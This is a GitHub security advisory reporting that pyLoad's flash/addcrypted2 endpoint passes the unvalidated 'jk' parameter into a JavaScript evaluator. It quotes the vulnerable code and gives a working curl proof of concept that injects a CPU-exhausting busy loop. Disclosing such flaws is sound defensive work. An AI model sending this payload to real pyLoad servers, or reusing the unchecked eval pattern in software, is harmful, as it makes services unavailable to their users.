Vulnerability from github
Dear Maintainers, I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.
Summary
The jk
parameter is received in pyLoad CNL Blueprint. Due to the lack of jk
parameter verification, the jk
parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.
Details
- Endpoint: flash/addcrypted2
- affected file: https://github.com/pyload/pyload/blob/develop/src/pyload/webui/app/blueprints/cnl_blueprint.py#L123 https://github.com/pyload/pyload/blob/develop/src/pyload/core/utils/misc.py#L42
affected code ```python @bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2") @local_check def addcrypted2(): package = flask.request.form.get( "package", flask.request.form.get("source", flask.request.form.get("referer")) ) crypted = flask.request.form["crypted"] jk = flask.request.form["jk"] pack_password = flask.request.form.get("passwords")
crypted = standard_b64decode(unquote(crypted.replace(" ", "+")))
jk = eval_js(f"{jk} f()")
```
python
def eval_js(script, es6=False):
if sys.version_info < (3, 12):
return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
else:
return dukpy.evaljs(script)
PoC
download pyload and run locally, send the following request
- PoC
shell
curl -X POST "http://localhost:8000/flash/addcrypted2" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "crypted=SGVsbG8gd29ybGQ=" \
-d "passwords=pyload" \
-d "jk=const start = Date.now();%0Awhile (Date.now() - start < 30_000) {} //"
The 30_000 can be modified to any large value.
Impact
System resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.
Use the following command to check CPU usage
shell
top -pid $(pgrep -f "pyload.__main__")
or
shell
top -pid $(pgrep -f "pyload")
The CPU is fully occupied
web-ui unresponsive
